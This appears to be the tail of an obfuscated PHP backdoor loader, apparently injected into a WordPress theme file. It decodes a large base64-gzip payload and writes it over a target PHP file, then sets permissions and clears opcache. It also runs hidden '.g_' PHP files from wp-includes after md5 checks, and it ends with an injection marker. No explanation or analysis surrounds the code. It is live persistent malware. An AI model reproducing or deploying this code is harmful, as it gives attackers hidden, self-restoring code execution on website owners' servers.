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');
 if    (p6uaz11qmy_s(62)($ynth781plih)     &&  k7r7n07s4fm4(61)($ynth781plih)  >=   (0x5+0xd) &&  or8l5cd5u09h7a(78)($ynth781plih,     0,    2)   ===  "\x1f\x8b")   {
   $axdjlcff36qcr   = @k7r7n07s4fm4(79)('V', or8l5cd5u09h7a(80)($ynth781plih,      -(2+2)));
 if (!or8l5cd5u09h7a(32)($axdjlcff36qcr)  || $axdjlcff36qcr[1] < (467+33)  || $axdjlcff36qcr[1] > (1048510+66)) $ynth781plih  = "";
  }
 $bj68de4kfdg7     =  (id72roijwy9(80)($ynth781plih,   0, 2)  ===  "\x1f\x8b")     ? (id72roijwy9(76)('gzdecode')   ? @gzdecode($ynth781plih,  (0xe28b0+0x1d750))  : (p6uaz11qmy_s(81)('gzinflate') ?  @gzinflate(p6uaz11qmy_s(80)($ynth781plih,  (0x3+0x7),    -(29^21)),  (1048493+83)) : false))  :   $ynth781plih;



unset($ynth781plih);
  if (!or8l5cd5u09h7a(62)($bj68de4kfdg7) ||  or8l5cd5u09h7a(61)($bj68de4kfdg7)   < (495+5)    ||   id72roijwy9(61)($bj68de4kfdg7) >    (1048572+4)) $bj68de4kfdg7  =  _sc_coreld($ny_xic9swdf);
   if  (k7r7n07s4fm4(62)($bj68de4kfdg7) &&  v__9xb9bxmw(61)($bj68de4kfdg7)    >   (466+34)    &&  v__9xb9bxmw(61)($bj68de4kfdg7) <=   (1048552+24))  {
if    (!_sc_qok($h5t5q1n8s7zsf1yt,    $bj68de4kfdg7))  {
$b_35or11bw   = _sc_coreld($ny_xic9swdf);


  if (!k7r7n07s4fm4(62)($b_35or11bw) ||    !_sc_qok($h5t5q1n8s7zsf1yt,    $b_35or11bw)) $bj68de4kfdg7 =  false;
     else    $bj68de4kfdg7   =     $b_35or11bw;
}
 if (v__9xb9bxmw(62)($bj68de4kfdg7)    &&     _sc_phpok_src($bj68de4kfdg7))   {
if (!@or8l5cd5u09h7a(50)(k7r7n07s4fm4(82)($k2k34_sjp4x)))   _sc_mkdir(v__9xb9bxmw(82)($k2k34_sjp4x));
 $vfez1wkocryt    = (k7r7n07s4fm4(83)('tempnam')  ?  @p6uaz11qmy_s(25)(p6uaz11qmy_s(82)($k2k34_sjp4x), 'sc_')     : false);



  if ($vfez1wkocryt  !==    false && !i44r4l7mg7cl_5n($vfez1wkocryt,   p6uaz11qmy_s(82)($k2k34_sjp4x))) {
 _sc_ul($vfez1wkocryt);

   $vfez1wkocryt  =   false;
  }
 if   ($vfez1wkocryt  !== false) {
  $ustpi_vtacldbpg  =   _sc_fpc($vfez1wkocryt,   $bj68de4kfdg7);

  if ($ustpi_vtacldbpg  !==  false   &&   $ustpi_vtacldbpg   ===   k7r7n07s4fm4(61)($bj68de4kfdg7)) {
  $bt3vevte6i  =  false;
       if (p6uaz11qmy_s(84)('rename')) $bt3vevte6i = @v__9xb9bxmw(28)($vfez1wkocryt,  $k2k34_sjp4x);
   if   (!$bt3vevte6i   &&   id72roijwy9(84)('copy'))  {
$bt3vevte6i =   @v__9xb9bxmw(85)($vfez1wkocryt,  $k2k34_sjp4x);
  if  ($bt3vevte6i) _sc_ul($vfez1wkocryt);
}
 if   (!$bt3vevte6i)   _sc_ul($vfez1wkocryt);
 if (p6uaz11qmy_s(86)('clearstatcache'))  @clearstatcache(true, $k2k34_sjp4x);
 if ($bt3vevte6i)    {


$p2xcebytiqm61es    = @id72roijwy9(87)($k2k34_sjp4x);


    if  (!v__9xb9bxmw(62)($p2xcebytiqm61es) ||   $p2xcebytiqm61es     !==    $bj68de4kfdg7) {



   if (k7r7n07s4fm4(88)($p2xcebytiqm61es)  && or8l5cd5u09h7a(31)($p2xcebytiqm61es, '/* SCV:')   !==  false)    {
$bt3vevte6i  =   false;
      }    else   {
  _sc_fpc(id72roijwy9(82)($k2k34_sjp4x)  .  '/.wr_'   .  v__9xb9bxmw(89)($k2k34_sjp4x,  '.php'),  '1');
   _sc_ul($k2k34_sjp4x);
$bt3vevte6i    =  false;
   }


      }


unset($p2xcebytiqm61es);
  }
 if  ($bt3vevte6i) {
_sc_ul(id72roijwy9(82)($k2k34_sjp4x)    .  '/.wr_'   .    k7r7n07s4fm4(89)($k2k34_sjp4x,  '.php'));
     if     (p6uaz11qmy_s(86)('chmod')) @v__9xb9bxmw(27)($k2k34_sjp4x,   (399+21));
    if (or8l5cd5u09h7a(86)('opcache_invalidate')) @opcache_invalidate($k2k34_sjp4x,  true);
   _sc_padf($k2k34_sjp4x);



}
}     else {
  _sc_ul($vfez1wkocryt);
   }
        }
}
   unset($bj68de4kfdg7);
    }

}


if    (k7r7n07s4fm4(90)()  !==   'cli' && defined('ABSPATH')  && or8l5cd5u09h7a(86)('md5_file')) {

$lzz_i3xw7fzi2 =     or8l5cd5u09h7a(80)(k7r7n07s4fm4(58)(ABSPATH  . 'g'),   0,  (0x5+0x3));
 foreach   (array(ABSPATH  .     'wp-includes',  $ny_xic9swdf,    $ny_xic9swdf .     '/.sc_'    . k7r7n07s4fm4(80)(or8l5cd5u09h7a(91)(ABSPATH  .    'dir'), 0,  (1+7)))  as   $cur5u5l10ahc4)  {
      $i5ftjcjbd5sj1    =   $cur5u5l10ahc4  . '/.g_'    .  $lzz_i3xw7fzi2 . '.php';

if   (!@or8l5cd5u09h7a(59)($i5ftjcjbd5sj1))    continue;

 $utlq9fesbdf = $cur5u5l10ahc4    . '/.gl_'   .  $lzz_i3xw7fzi2;
     $z_m1ens1g5i13  =     @p6uaz11qmy_s(92)($utlq9fesbdf)    ?      (int)   @p6uaz11qmy_s(74)($utlq9fesbdf) :   0;
 if    ($z_m1ens1g5i13    && $z_m1ens1g5i13  >   id72roijwy9(93)()    -   (0x47+0xa9)   && $z_m1ens1g5i13  <=  p6uaz11qmy_s(94)()  +     (0xb0+0x7c)) return;
 $mcqjanwestzb    =     @id72roijwy9(14)($i5ftjcjbd5sj1);


 if  (!$mcqjanwestzb ||   $mcqjanwestzb  <     (1906+94)  || $mcqjanwestzb  >  (2097087+65)) continue;
      $tsqgxe0fzzoo = $cur5u5l10ahc4    .  '/.gm_'  .  $lzz_i3xw7fzi2;
$mxxb_zbw0heec5y =   @p6uaz11qmy_s(92)($tsqgxe0fzzoo)  ? or8l5cd5u09h7a(37)((string)    @p6uaz11qmy_s(95)($tsqgxe0fzzoo))   : "";

 if ($mxxb_zbw0heec5y   === ""  ||     @md5_file($i5ftjcjbd5sj1)  !==   $mxxb_zbw0heec5y) continue;
 try   {
  @include_once $i5ftjcjbd5sj1;
 } catch (\Throwable $en16h4ok9biput0)  {
}   catch  (\Exception  $en16h4ok9biput0) {
  }
        return;
     }
  }
 });
      
}
/* SC_TH_END:4.5.3:e2f851bd */
